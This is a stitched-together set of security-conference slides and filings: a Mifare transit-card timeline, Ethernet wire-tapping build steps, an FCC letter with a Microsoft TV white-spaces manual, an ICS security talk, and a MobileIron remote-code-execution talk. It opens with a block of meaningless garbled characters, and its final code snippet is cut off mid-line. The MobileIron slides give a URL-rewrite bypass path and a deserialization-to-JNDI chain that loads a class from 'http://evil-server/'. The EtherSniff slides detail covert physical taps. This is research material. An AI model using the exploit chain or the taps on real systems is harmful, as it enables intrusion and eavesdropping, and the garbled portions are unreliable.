~ è ê  é | } í ê  ~ è u ~ } ~ ô ‰ õ í î è { ç y  | ç { í » L W g ^ _ Y ∗ I b ` E L G F _ Û š Û ¦ ª ¡ Ÿ ¦  § « Ó ­ Ó ­ ® Ê Ì Ì Ê É Ê Ë Í F _ H ^  D Â Ó ­ Ó ­ ¬ Ê Ì Ì Ê Ñ Î Ö e H I L L _ b I b F _ H ^ Ó ­ Ó ­ Ó Ê Ì Ì Ê É ³ Ì e H I L L _ b I b F _ H ^ Ó ­ Ó ­ ß É ³ Ë Ì Ê Ê ´ ß É ³ Ë Ì Ê Ê ´ F E Y Y I g ^ G e H I L L _ b I b F _ H ^ h J L Ü f Y _ N L I E b Y E F L I i I û _ [ I b D Ó ­ Ó ­ Ê Ì Ì Ê Î ³ Ë Ë F E Y Y I g ^ G e H I L L _ b I b F _ H ^ h J L Ü f Y _ N L I E b Y E F L I i I û _ [ I b D Ä Ù  < ” ‘  • [ W L W ^ I b Ü [ _ q I N _ Y MY _ b [ h H _ N q H W e F W N Ü _ L O M g _ L L _ H N W ^ ^ _ [ n n D [ _ q I N _ Y  O » I Y E X W H L M I Y E Q P U P I b L _ H ` W N _ O » Y e g I L g W b J I b J [ _ q I N _ Y M Y _ H I W ^ O MY W _ c P ¿ À T I b L _ H ` W N _ O » M – m _ b N W F Y X ^ W L I E b O » M F H E F H I _ L W H G Y L X  O • b _ L e E H Ü [ H I q _ H MW [ [ H _ Y Y I b J O M[ W L W ^ I b Ü ¸ • D  O » E g [ S E q _ H [ W L W ^ I b Ü M c P ¿ À T r c S P Ä ¿ O » I Y E Q P U P » I Y E P U S ¾ T » E g [ S E q _ H I Y E Q P U P M I Y E Q P U P r c P ¿ À T O » E g [ S E q _ H I Y E P U S ¾ T • L H W b Y F E H L M E H b _ L e E H Ü r I ` W g E q _ I Y [ W L W ^ I b Ü ¸ • D  O » [ I W J i E [ _ Y » _ b K W b N _ [ [ I W J i E [ _ Y » i _ Y Y W J _ ` E H i W L Y • F H _ Y _ b L W L I E b » Y _ N X H I L G » F H b h Y ^ E L • W F F ^ I N W L I E b » Y N W b L E E ^  Ù  B ‘ ”   ‘ •  I i F ^ _ i _ b L W L I E b F ^ W b  » i W Ü _ Y Ü _ ^ _ L W ^ ] ^ _ Y ` H E i W H N K Y F _ N » i E q _ b E L _ Y ` H E i I i F ^ _ i _ b L W L I E b ] ^ _ L E Y Ü _ ^ _ L W ^ ] ^ _ Y • Y _ H I W ^ F E H L I b L _ H ` W N _ K W H [ e W H _ • g H I b J X F [ _ q g E W H [ • ^ I g E g [ S R ^ I b Ü ¿ » K _ W [ _ H » _ b N E [ _ h [ _ N E [ _ ` E H X Y _ e I L K [ _ q g E W H [ • [ _ q g E W H [ ] H i e W H _ M[ E Y O • E L L E [ • E L L E N E b ] J • E L L E [ X i F • E L L E N W L • ^ I g E g [ S » K _ W [ _ H • Y N W b L E E ^ • ¼ Y N W b L E E ^ • ^ I g E L L E • E L L E i W b b • ^ I g q I b • E L L E à Y _ H I W ^ Ü _ H b _ ^ [ H I q _ H Q
pdf
Ticket to trouble MifareClassic, The Dutch Transportation Card and Access Control  From the Netherlands  Self proclaimed geek  First program at age 5  Focus on security, privacy  Journalist, trainer/consultant  Following Mifare Classic from day one  Wanna know more? Beer makes me talk! Everyone has the right to freedom of expression. This right shall include freedom to hold opinions and to receive and impart information and ideas without interference by public authority and regardless of frontiers. Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances. I got arrested for photographing a railway employee working on a Segway Cool guy!  Angel @ Chaos Communication Camp  Can you do introduction for the Mifare talk?  Security through obscurity doesn’t work  Follow up with NXP  Publication January 2nd  Reader notices something interesting  January 11th: Paying with mobile, Shell Gas  January 17th: Rop Gonggrijp warning that security through obscurity doesn’t work  February 13th: Gold-case  February 29th: TNO-research replace card in two years  No business case  February 29th:Attack plan has second study  March 3rd New hack pre-announced  March 10th Study published by Karsten Nohl  March 13th Nijmegen University cracks doors  March 17th MI-5 wants to spy on Brittons using the Oyster Card  March 20th Debate in parliament on door- issue  Open Source Security  Support for researchers  March 21st Dutch Secret Service says no interest in travel data (yet)  April 12th crack cards in seconds  April 14th new attack scenario  April 14th Contra Expertise - FOIA  April 16th Secretary of Transportation is responsible  April 22nd NXP announces Mifare Plus  April 29th Customer friendliness has to save card – Privacy is media issue – r.s.c.  June 5th – Conclusions altered, DoS, Printer  June 7th – Unclear who forced conclusions  June 18th – Oyster Card cracked by Nijmegen  June 18th – No emergency plan  June 20th – Open source announced  July 8th – Lawsuit NXP  July 10th – Chinese discovery  July 15th – Oyster Card crash  July 18th –Verdict in 
pdf
EtherSniff EtherSniff How to stealthily monitor an How to stealthily monitor an established Ethernet network established Ethernet network by Mark Smith, aka Smitty Introduction Introduction Hardwired network paths are secure. Hardwired network paths are secure. No encryption needed internally. No encryption needed internally. A physical A physical sniffer sniffer insertion would break link on insertion would break link on network interfaces, triggering alarms. network interfaces, triggering alarms. Right? Right? … …maybe not maybe not… … Introduction: Me Introduction: Me Mark Smith, aka Mark Smith, aka Smitty Smitty By day: Network engineer and system By day: Network engineer and system administrator for over 15 years administrator for over 15 years By night: Maker, ham radio nerd, musician, By night: Maker, ham radio nerd, musician, podcaster podcaster, husband, father, closet tree hugger , husband, father, closet tree hugger Contact me: Contact me: Email: mark {at} halibut {dot} com Email: mark {at} halibut {dot} com @ @SmittyHalibut SmittyHalibut just about everywhere else. just about everywhere else. Encoding Techniques: 10baseT Encoding Techniques: 10baseT 10Mbps, baseband (not carrier modulated), 10Mbps, baseband (not carrier modulated), Twisted pair. Twisted pair. 10Mbps data stream, Manchester coded, 10Mbps data stream, Manchester coded, produces 20MHz square wave signal. produces 20MHz square wave signal. Bi Bi--state output: +2.5v and state output: +2.5v and --2.5v. 2.5v. Full duplex done with two separate simplex Full duplex done with two separate simplex pairs: TX and RX pairs: TX and RX http://en.wikipedia.org/wiki/10BASET Encoding Techniques: 10baseT Encoding Techniques: 10baseT Manchester coding: Output = Data XOR Clock Manchester coding: Output = Data XOR Clock Guarantees a state transition with every bit. Guarantees a state transition with every bit. http://en.wikipedia.org/wiki/Manchester_code Encoding Techniques: 100baseT Encoding Techniques: 100baseT 100Mbps, baseband, Twisted pair. 100Mbps, baseband, Twisted pair. 100Mbps data stream, 4B5B line coding to 100Mbps data stream, 4B5B line coding to ensure sufficient clocking, produces 125Mbps ensure sufficient clocking, produces 125Mbps symbol rate. symbol rate. MLT MLT--3 encoding produces 31.25MHz tri 3 encoding produces 31.25MHz tri--state state output: +1v, 0v, and output: +1v, 0v, and --1v. 1v. Full duplex done with two separate simplex Full duplex done with two separate simplex pairs: TX and RX pairs: TX and RX http://en.wikipedia.org/wiki/Fast_Ethernet Encoding Techniques: 100baseT Encoding Techniques: 100baseT 4B5B line coding ensures sufficient 1s density 4B5B line coding ensures sufficient 1s density for 0v DC offset. Includes signaling. for 0v DC offset. Includes signaling. http://en.wikipedia.org/wiki/4B5B Encoding Techniques: 100baseT Encoding Techniques: 100baseT MLT MLT--3 coding. 3 voltage levels, 4 states. Moves 3 coding. 3 voltage levels, 4 states. Moves to next state on 1, stays on current state on 0. to next state on 1, stays on current state on 0. Max base frequency is Max base frequency is ¼ ¼ the data rate. the data rate. http://en.wikipedia.org/wiki/MLT-3 Encoding Techniques: 1000baseT Encoding Techniques: 1000baseT … …uhh uhh… … II’’ll get back to this later in the talk ll get back to this later in the talk… … http://www.ieee802.org/3/ab/index.html http://en.wikipedia.org/wiki/Gigabit_Ethernet http://en.wikipedia.org/wiki/Pulse_amplitude_modulation http://en.wikipedia.org/wiki/Trellis_modulation http://en.wikipedia.org/wiki/Linear_feedback_shift_register Tapping methods Tapping methods DC coupling DC coupling Inductive coupling Inductive coupling Tapping Methods: DC coupling Tapping Methods: DC coupling A direct copper connection between the wires A direct copper connection between the wires being monitored and the monitoring device. being monitored and the monitoring device. Tapping Methods: DC coupling Tapping Methods: DC coupling Pros: Pros: Easy to construct and connect. Easy to construct and connect. Hardware is cheap and passive; no power required. Hardware is cheap and passive; no power required. Cons: Cons: Accidental DC short, could break link. Accidental DC short, could break link. Tap and branch cause reflections, could break link. Tap and branch cause reflections, could break link. Accidental reversal of TX/RX, or auto Accidental reversal of TX/RX, or auto--negotiation negotiation of MDI state will transmit, could break link. of MDI state will transmit, could break link. Tapping Methods: Inductive Coupling Tapping Methods: Inductive Coupling Build a small transformer with the pair being Build a small transformer with the pair being monitored, pull a bit of the power. monitored, pull a bit of the power. Tapping Methods: Inductive Coupling Tapping Methods: Inductive Coupling Pros: Pros: Minimal impedance change, hard to detect. Minimal impedance change, hard to detect. Insulation intact, won Insulation intact, won’’t accidentally DC short. t accidentally DC short. The receiver amplifier acts as a buffer, prevents The receiver amplifier acts as a buffer, prevents accidental transmission. accidental transmission. Cons: Cons: Inductively coupled signal is high impedance; Inductively coupled signal is high impedance; requires amplifier. requires amplifier. Transformers are finicky, hard to get right. Transformers are finicky, hard to get right. Hardware Assembly Hardware Assembly Because of its simplicity, we Because of its simplicity, we’’ll be using a DC ll be using a DC coupled system for today coupled system for today’’s demonstration. s demonstration. Hardware Assembly: DC Coupled Hardware Assembly: DC Coupled Punch a 100 ohm resistor across Orange pair Punch a 100 ohm resistor across Orange pair of two 568B RJ of two 568B RJ--45 wall jacks. 45 wall jacks. Hardware Assembly: DC Coupled Hardware Assembly: DC Coupled Carefully cut about 12 inches of the Carefully cut about 12 inches of the outer outer jacket jacket off the Ethernet cable to be monitored. off the Ethernet cable to be monitored. Hardware Assembly: DC Coupled Hardware Assembly: DC Coupled Untwist the Orange pair a bit to give yourself Untwist the Orange pair a bit to give yourself about an inch of straight wires. about an inch of straight wires. Hardware Assembly: DC Coupled Hardware Assembly: DC Coupled Using the Using the non non--cutting cutting side of a punch tool, side of a punch tool, punch the Orange wire into the Green pair of punch the Orange wire into the Green pair of one of the 568B RJ one of the 568B RJ--45 wall jacks. 45 wall jacks. Hardware Assembly: DC Coupled Hardware Assembly: DC Coupled Repeat last two steps with the Green pair. Repeat last two steps with the Green pair. Hardware Assembly: DC Coupled Hardware Assembly: DC Coupled Connect two standard Ethernet cables from the Connect two standard Ethernet cables from the RJ RJ--45 wall jacks to your monitoring system. 45 wall jacks to your monitoring system. Hardware Assembly: DC Coupled Hardware Assembly: DC Coupled eth0 sees traffic one way, eth1 sees traffic the eth0 sees traffic one way, eth1 sees traffic the other way. other way. Use Use tcpdump tcpdump, , WireShark WireShark or similar to capture or similar to capture and display the data. and display the data. Capture with precise timestamps, add a bit of Capture with precise timestamps, add a bit of scripting, and you can have a single combined scripting, and you can have a single combined data flow. data flow. Hardware Assembly: Inductively Coupled Hardware Assembly: Inductively Coupled … …come see me next year come see me next year… … Thinking Black Hat Thinking Black Hat Shared phone rooms and wiring closets Shared phone rooms and wiring closets Drop ceilings Drop ceilings ““Protected Protected”” conduits (got a pipe cutter from conduits (got a pipe cutter from Home Depot?) Home Depot?) Man holes, J Man holes, J--Boxes, etc. Boxes, etc. Thinking White Hat Thinking White Hat Physical Security. (See other presentations here Physical Security. (See other presentations here at at DefCon DefCon.).) Encryption. IPSec, TLS, etc. Encryption. IPSec, TLS, etc. Heck, encrypt everything anyway; CPU is cheap. Heck, encrypt everything anyway; CPU is cheap. Periodic TDR measurements. Periodic TDR measurements. Gigabit Ethernet (stick around Gigabit Ethernet (stick around… …)) The Holy Grail: Gigabit Ethernet The Holy Grail: Gigabit Ethernet … …and why it and why it’’s s REALLY REALLY hard to sniff hard to sniff… … 10baseT and 100baseT are easy to monitor: 10baseT and 100baseT are easy to monitor: Simple line coding techniques. Simple line coding techniques. Relatively low signal rates (20MHz and 31.25MHz) Relatively low signal rates (20MHz and 31.25MHz) Individual TX and RX pairs (each pair is simplex.) Individual TX and RX pairs (each pair is simplex.) Auto Auto--negotiation can be disabled and line settings negotiation can be disabled and line settings configured manually. configured manually. The Holy Grail: Gigabit Ethernet The Holy Grail: Gigabit Ethernet … …and why it and why it’’s s REALLY REALLY hard to sniff hard to sniff… … Gigabit Ethernet is none of those things: Gigabit Ethernet is none of those things: Auto Auto--negotiation is a requirement of the spec. negotiation is a requirement of the spec. All four pairs are used All four pairs are used simultaneously simultaneously for TX and RX. for TX and RX. Two unknowns, only one equation. Two unknowns, only one equation. 1000baseT is far more susceptible to reflections and 1000baseT is far more susceptible to reflections and changes in impedance. changes in impedance. The Holy Grail: Gigabit Ethernet The Holy Grail: Gigabit Ethernet … …and why it and why it’’s s REALLY REALLY hard to sniff hard to sniff… … Nothing public exists for this yet, but its not Nothing public exists for this yet, but its not impossible. impossible. A more motivated and better funded A more motivated and better funded organization has probably already figured this organization has probably already figured this out. out. Conclusion Conclusion We We’’ve shown that: ve shown that: A careful attacker with no budget can A careful attacker with no budget can easily easily tap into tap into unprotected 10baseT and 100baseT. unprotected 10baseT and 100baseT. A decently funded attacker can probably do the A decently funded attacker can probably do the same thing with 1000baseT. same thing with 1000baseT. If you can If you can’’t physically secure your network links, t physically secure your network links, encrypt your traffic (IPSec, TLS, etc.) encrypt your traffic (IPSec, TLS, etc.) Thanks! Thanks! Thanks for listening! Thanks for listening! Mark Smith, aka Mark Smith, aka Smitty Smitty mark {at} halibut {dot} com mark {at} halibut {dot} com @ @SmittyHalibut SmittyHalibut everywhere else everywhere else http://www.halibut.com/~mark/EtherSniff http://www.halibut.com/~mark/EtherSniff--v1.0.pdf v1.0.pdf
pdf
1200 EIGHTEENTH STREET, NW WASHINGTON, DC 20036 TEL 202.730.1300 FAX 202.730.1301 WWW.HARRISWILTSHIRE.COM ATTORNEYS AT LAW March 14, 2007 Via Electronic Filing Ms. Marlene H. Dortch, Secretary Federal Communications Commission 445 12th Street, SW Washington, DC 20554 Re: Notice of Ex Parte Communication, ET Docket Nos. 04-186, 02-380 Dear Ms. Dortch: On March 13, 2007, on behalf of a coalition that includes Dell, Inc., Google, Inc., the Hewlett- Packard Co., Intel Corp., Microsoft Corp., and Philips Electronics North America Corp., Srihari Narlanka of Microsoft; William Brown and John Clark, outside consultants to Microsoft; and Edmond Thomas and S. Roberts Carter of Harris, Wiltshire & Grannis LLP submitted a prototype TV band device to the FCC Laboratory for testing. The above-named individuals also met with Rashmi Doshi, Steven Jones, and Steven Martin of the Office of Engineering and Technology to provide instruction on the operation of the device. On March 14, 2007, Messrs. Thomas, Narlanka, Brown, and Clark met with Messrs. Doshi and Jones as well as Thomas Phillips of the OET staff to discuss further the operation of the device. In addition, the Coalition provided OET staff with a copy of the device manual, attached hereto. Pursuant to the Commission’s rules, a copy of this notice is being filed electronically in the above-referenced dockets. If you require any additional information please contact the undersigned at (202) 730-1305. Sincerely yours, /s/ Edmond J. Thomas Edmond J. Thomas Senior Policy Advisor HARRIS, WILTSHIRE & GRANNIS LLP Marlene H. Dortch March 14, 2007 Page 2 cc: Julius Knapp Rashmi Doshi Steven Jones Steven Martin Thomas Phillips Microsoft TV White Spaces Development Platform Version 1 Microsoft® Microsoft TV White Spaces Development Platform Microsoft® Microsoft TV White Spaces Development Platform Microsoft Corporation Srihari Narlanka One Microsoft Way Redmond, WA 98052 (425) 703-8661 [email protected] © 2007 Microsoft Corporation. All rights reserved. System Overview Demonstrator Figures and Tables: 1. SYSTEM OBJECTIVE AND OVERVIEW............................................................................1 2. SYSTEM OPERATION ..................................................................................................1 2.1 System Operation..............................................................................................1 2.2 UHF Radio Network Processor Assembly.........................................................2 3. INTERNET EXPLORER SCANNER AND TX PANELS..........................................................2 3.1 Basic Scanner Specifications ............................................................................2 UHF RADIO SPECIFICATIONS .......................................................................................3 Figure 1. Front View of Microsoft TV White Spaces Development Platform....................4 Figure 2. Rear View of Microsoft TV White Spaces Development Platform with Interconnecting Cables .....................................................................................................5 Figure 3. System Interconnection Diagram......................................................................6 Figure 4. Microsoft TV White Spaces Development Platform Functional Block Diagram 7 Figure 5. Translator Control Panel...................................................................................8 Figure 6. Scanner Control Panel......................................................................................9 Figure 7. Scanner Functional Flow ................................................................................10 Microsoft TV White Spaces Development Platform System Overview Page 1 1. SYSTEM OBJECTIVE AND OVERVIEW The Microsoft TV White Spaces Development Platform is a development platform to explore, develop and evaluate technologies required to create a commercially viable cognitive radio-based communications network product. With the Microsoft Cognitive Radio, developers will be able to: • Create spectrum scanning and signal feature recognition software and hardware used to co-exist and avoid interfering with incumbent operators. • Develop and refine transmit power control algorithms. • Explore and test waveforms and modulation techniques with minimal interference with expected TV band signals. • Perform on-air propagation and coverage measurements. 2. SYSTEM OPERATION The Microsoft TV White Spaces Development Platform assembly consists of two core system assemblies: • A Wide-band Spectrum Scanner and Network Processor and a tunable UHF Half-Duplex Transceiver controlled by the Network Processor; and • A Windows-based PC using the Internet Explorer browser as the command and control interface. 2.1 System Operation • A broadband 521 to 698 MHz computer controlled frequency scanner and high-speed digitizer capable of incrementally scanning UHF TV channels 21 through 51 in 6 MHz segments. The digitized time domain 6 MHz scan information is passed to the network analyzer where a 2048 FFT is performed. • Signal feature templates for DTV, NTSC and wireless microphone devices are sequentially applied to the FFT information to identify occupied DTV or NTSC channels. Non-occupied channels are declared potential white channels and subsequently scanned for potential narrow band incumbents such as wireless microphones. • Scanner control and discovery information is presented via the Internet Explorer Web Browser. Microsoft TV White Spaces Development Platform System Overview Page 2 2.2 UHF Radio Network Processor Assembly The UHF Tx/Rx Assembly consists of three sub-components: • S-Band (2.4 GHz) 802.11g OFDM modem located in the Network Processor • Half-duplex S-Band to UHF block converter • Network Processor Browser for Frequency and Power Control UHF radio specifications are presented in Table 1. 3. INTERNET EXPLORER SCANNER AND TX PANELS The TV white spaces radio assembly is controlled via a Windows® Internet Explorer browser control panel. Specific controls include: • The ability to select any operating frequency between 521 to 698 MHz in 1 MHz increments • Tx power output control from -10 dBm to +20 dBm • Ability to search individual UHF TV channel groups for occupied DTV or NTSC channels. • Ability to search out candidate white channels for wireless microphone- like signals. 3.1 Basic Scanner Specifications • Frequency Range: 512 to 698 MHz • Frequency Step: 1 MHz • Scan Frame Bandwidth: 8 MHz • Scan Frame FFT Size: 2048 points • FFT Bin Size: 3.9 KHz • Minimum Discernible DTV Pilot Tone Sensitivity: - 114 dBm • Gain Selections: In-line 20 dB, High-Intercept LNA • Recording Capability: Digitized records of scans can be created and played back for analysis • Minimum Discernible Wireless Microphone Detection Sensitivity: -114 dBm • Measurement Accuracy: ± 3 dB Microsoft TV White Spaces Development Platform System Overview Page 3 UHF RADIO SPECIFICATIONS S-Band to UHF Translator S-Band Modem Tx Output: Frequency range Power Level 2400 to 2500 MHz -10 to +20 dBm Signal bandwidth MHz, typical Signal gain to UHF port -25 dB to +25 dB Adjustable in 1 dB increments UHF Tx Output: Frequency range Tx 1 dB Compression 521 to 698 MHz +28 dBm, min. CTPC Spectral Inversion UHF Tx Tuning Increments None 1 MHz UHF to S-Band Translator UHF Rx Input: Frequency range Power Level Tuning increments Receive 1 dB compression 521 to 698 MHz -25 to -90 dBm 1 MHz -20 dBm (at the Rx input) 3 dB Rx Signal bandwidth 4.25 MHz Receive chain gain: UHF to S-Band translation UHF receive band monitor 16 dB, typical 20 dB, typical Rx Noise Figure 5 dB, max. S-Band Modem Receiver Input: Frequency range Power Level 2400 to 2500 MHz -75 dBm to -10 dBm, typical Spectral Inversion None Environmental: Internal Frequency Reference 10 MHz ± 2.5 ppm LO Integrated Phase noise 5° rms, max. (using 1 MHz tuning increments) Temperature Range (Operating) 10°C to 50°C All RF Port impedances 50 Ohms, nominal RF Connectors SMA, female Auxiliary RF Ports: S-Band power monitor Scan Rx Separate Rx and Tx antennas Log detector output UHF receive monitor Factory selected option DC Power requirements: Voltage Current +12 ± 0.1 Vdc 900 mA, typical Computer control interface RS-232 Serial or USB Transmit control interface Automatic or external Digital control inputs: External TR Select Reset Selects either Tx or Rx mode Processor reset Digital monitor output TR Mode LED Indicators DC Power, Synthesizer Lock, Tx, Rx Figure 1. Front View of Microsoft TV White Spaces Development Platform Microsoft TV White Spaces Development Platform System Overview Page 4 Figure 2. Rear View of Microsoft TV White Spaces Development Platform with Interconnecting Cables Antenna Interface Microsoft TV White Spaces Development Platform System Overview Page 5 System Overview Page 6 UHF TV Band Discone Antenna CR Scanner Scanner USB Connection Assembly A2 Power Scanner RF Input Network Processor Assembly A1 Power Scanner USB Connection Ethernet 0 2.4 GHz to UHF Translator Scanner RF Input Assembly A3 Power S- Band Modem Input S- Band Modem Output Translator Control I/O lines Translator Control I/O lines Internet Ethernet Connections CRT, Keyboard, Mouse UHF RF Interface Antenna Characteristics Frequency Rage: 450 to 900 MHz Gain: 2 dBi Polarization: Vertical Figure 3. System Interconnection Diagram Microsoft TV White Spaces Development Platform UHF Scanner A/D and Pre-processor Channels 21-51 512-698 MHz UHF Translator Control X86 Embeded Processor TV Band UHF Translator 512-698 MHz Channels 21-51 Digitized and Decimated Sampled Spectrum Scanning RF Input 2.4 GHz 802.11g narrowband output Windows IE Cognitive Radio Interface: Scanner Command and Control Interface Translator Control - Selection of White Spaces Tx/Rx Network Control Channel Operation Common Antenna for UHF Tx/Rx and Scanner Figure 4. Microsoft TV White Spaces Development Platform Functional Block Diagram Microsoft TV White Spaces Development Platform System Overview Page 7 System Overview Page 8 Figure 5. Translator Control Panel Microsoft TV White Spaces Development Platform Figure 6. Scanner Control Panel Microsoft TV White Spaces Development Platform System Overview Page 9 Digital Signal Processing Functions (Embedded Processor) Windows IE Cognitive Radio Interface: Scanner Command and Control Interface Translator Control - Selection of White Spaces Tx/Rx Network Control Channel Operation Common Antenna for UHF Tx/Rx and Scanner Nominal Gain: 20 dB NF 5 dB UHF Tuner 512 to 700 MHz Analog to Digital Converter Digital Down Converter LNA1 LNA2 Translator Assembly Scanner Assembly Figure 7. Scanner Functional Flow Microsoft TV White Spaces Development Platform System Overview Page 10
pdf
Aaron Bayles DC101 @ DEF CON 22 19 years in IT/Infosec Worked in Oil & Gas (O&G) last 8 years Along the way Penetration testing Vulnerability assessment Network architecture, design & implementation Risk assessment Legacy equipment/comms Remote (geographic) connectivity Availability, not confidentiality or integrity is key (control) Power/space is a premium Life safety can be dependent The demands placed on Industrial Control Systems (ICS) & SCADA networks don’t match up with security requirements Understand your network & data flows Does not require expert knowledge Start with the basics Some concepts for enterprise IT can be used, with modification Build relationships between enterprise IT and industrial IT Network segmentation Portable media control Configuration management Patch management Disaster recovery (DR) planning Workforce development/training Although these may be similar, significant differences exist Formally the Purdue Enterprise Reference Architecture (PERA) Widely accepted within ICS industry Compatible with multiple standards, ISA95, ISA99, and IEC 62443 Works with zone & conduit concepts Represented by Layers 0/1-5 Starting point for ICS network segregation Traffic within same zone is allowed Traffic passing between zones via conduits are controlled Layer 2 (L2) can SET/CHANGE values on L1 L3 can only READ values from L2 & L1 Control points also allow for reporting ICS applications often misbehave OPC (Object Linking and Embedding for Process Control) uses MS DCOM They don’t always communicate statefully Protocols have been subverted MODBUS DNP3 Some vendors have started to adapt to ICS Tofino (C1D2, DIN rail mount) Palo Alto (Rack mount only for now) Do not install in blocking mode without extensive testing & tuning #1 thing that worries field personnel Due to software issues, vendors MUST approve OS/app patches Cannot patch monthly Time for testing environment USB & removable media control Anti-virus/anti-malware Application whitelisting Patch management for EWS & servers Corporate IT has these systems, BUT ICS cannot patch as frequently Application & OS security models differ Dependent on directory services (AD) Build your own! Like enterprise IT, ICS requires remote support and maintenance There have been breaches from this Telvent Target Vendors often will not recommend a security architecture Build your own! Incident response requires DATA Centralized logging Traffic analysis Logstash, elasticsearch, and cacti Restoring PLC programming or device configs can be difficult Specialized ICS Configuration Management software exists MDT AutoSave Siemens TeamCenter Specific ICS security trainings & certifications are uncommon SANS/GIAC Idaho National Laboratory (INL) 3rd Party Training Offered by consulting/services companies Blends Infosec with ICS sensitivities Targeted for existing IT skillsets For some, DR is simply considered as having equipment spares on site Ability to rapidly restore services may not be planned Business impact analysis is key Updated lists of vital assets and personnel must be maintained My presentation from last year http://evul.procfail.net/dc21/og- infosec-101.pdf Co-workers’ presentation from BH ’13 https://media.blackhat.com/us-13/US- 13-Forner-Out-of-Control- Demonstrating-SCADA-Slides.pdf Latest copy of these slides at http://evul.procfail.net/dc22/protecting -scada-101.pdf [email protected] @AlxRogan Visit the ICS Village, lots to explore and learn! Telvent breach - http://krebsonsecurity.com/2012/09/chinese-hackers- blamed-for-intrusion-at-energy-industry-giant-telvent/ MDT AutoSave - http://www.mdt- software.com/Products/AutoSaveFeatures.html Siemens TeamCenter - http://www.plm.automation.siemens.com/en_us/products/te amcenter/ Logstash & Elasticsearch – Log aggregation, searching, and visualization http://www.elasticsearch.org/overview/ Cacti – Network statistics (and much more) graphing – http://cacti.net DNP3 - http://www.digitalbond.com/blog/2013/10/16/why- crain-sistrunk-vulns-are-a-big-deal/
pdf
How I Hacked facebook Again! by Orange Tsai Orange Tsai • Principal security researcher at DEVCORE • Captain of HITCON CTF team • 0day researcher, focusing on Web/Application security orange_8361 Infiltrating Corporate Intranet Like NSA Pre-auth RCE on Leading SSL VPNs Orange Tsai (@orange_8361) Meh Chang (@mehqq_) USA 2019 Disclaimer 所有漏洞皆經過 合·法·流·程 回報並且 修·復·完·成 MDM(Mobile Device Management) https://www.manageengine.com/products/desktop-central/images/MDM_features.png 常見 MDM 解決方案 VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine 常見 MDM 解決方案 VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine Why MobileIron? 1. 根據官網,至少 20,000+ 企業使選擇 2. 至少 15% 的財富世界 500 大公司選擇、且暴露在外網 3. 台灣企業使用比例最高的 MDM 4. Facebook 有在使用! 如何開始? 怎麼跑起來? 痛苦。 架構 Tomcat MI Server 443/8443 Apache 9997 MI Protocol Reverse Proxy TLS Proxy 找洞! 1. 該防的都有防 2. 沒有很好打 3. 但也不算很難打 Vulnerability Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Web Service speaks Hessian! Touch through Manage Interface Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Touch through User Interface…??? ❌ Rewrite Rules :( RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services - [F] RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services - [F] /mifs/services/fooService RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services - [F] /mifs/.;/services/fooService Hessian Deserialization Hessian Deserialization • Java Unmarshaller Security • A paper written by @mbechler in May 2017 • Known gadgets on Hessian Deserialization: Gadget Name Effect Spring-AOP JNDI Injection XBean JNDI Injection Resin JNDI Injection ROME RCE What is JNDI Injection? Java 提供的 API 介面, 方便開發者 動·態·存·取 物件 jdbc:mysql://localhost:3306/database Why JNDI Injection? CVE-2015-2590 Pawn Storm (APT28, Fancy Bear) 以前的駭客 現在的駭客 JNDI/LDAP Injection 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • A Naming Reference with Factory and URLCodeBase=http://evil-server/ 3. The class loader: • Can’t find the Factory Class • Fetch Class through our URLCodeBase 4. Return Evil Java Class 5. Boom! RCE! Payload Hacker MobileIron Evil Server 1 5 3 2 LDAP Connection JNDI Reference HTTP Connection Evil Class 4 Java mitigated the JNDI/LDAP in Oct 2018 (CVE-2018-3149) JNDI/LDAP Injection 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • A Naming Reference with Factory and URLCodeBase=http://evil-server/ 3. The class loader: • Can’t find the Factory Class • Fetch Class through our URLCodeBase 4. Return Evil Java Class 5. Boom! RCE! Hacker MobileIron Evil Server 1 5 3 2 4 Payload LDAP Connection JNDI Reference HTTP Connection Evil Class JNDI/LDAP Injection after Oct 2018 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • A Naming Reference with Factory and URLCodeBase=http://evil-server/ 3. The class loader: • Can’t find the Factory Class • Fetch Class through our URLCodeBase 4. Return Evil Java Class 5. Boom! RCE! Hacker MobileIron Evil Server 1 5 3 2 4 Payload LDAP Connection JNDI Reference HTTP Connection Evil Class The bypass! What's the next? 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • A Naming Reference with Factory and URLCodeBase=http://evil-server/ 3. The class loader: • Can’t find the Factory Class • Fetch Class through our URLCodeBase 4. Return Evil Java Class 5. Boom! RCE! Hacker MobileIron Evil Server 1 5 3 2 4 Payload LDAP Connection JNDI Reference HTTP Connection Evil Class What's the next? 1. Hessian Deserialization triggers: • A LDAP connection to Evil LDAP Server 2. Evil LDAP server replies: • A Naming Reference with Factory and URLCodeBase=http://evil-server/ 3. The class loader: • Can’t find the Factory Class • Fetch Class through our URLCodeBase 4. Return Evil Java Class 5. Boom! RCE! Hacker MobileIron Evil Server 1 5 3 2 4 Payload LDAP Connection JNDI Reference HTTP Connection Evil Class Reference to Local is still available! Leverage the Local Factory • org.apache.naming.factory.BeanFactory (Tomcat 6-8) • If there is a forceString in reference, then: • Parse the forceString as key-value pairs • Invoke the value as a setter to set the specified field, for example: ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setName")); ref.add(new 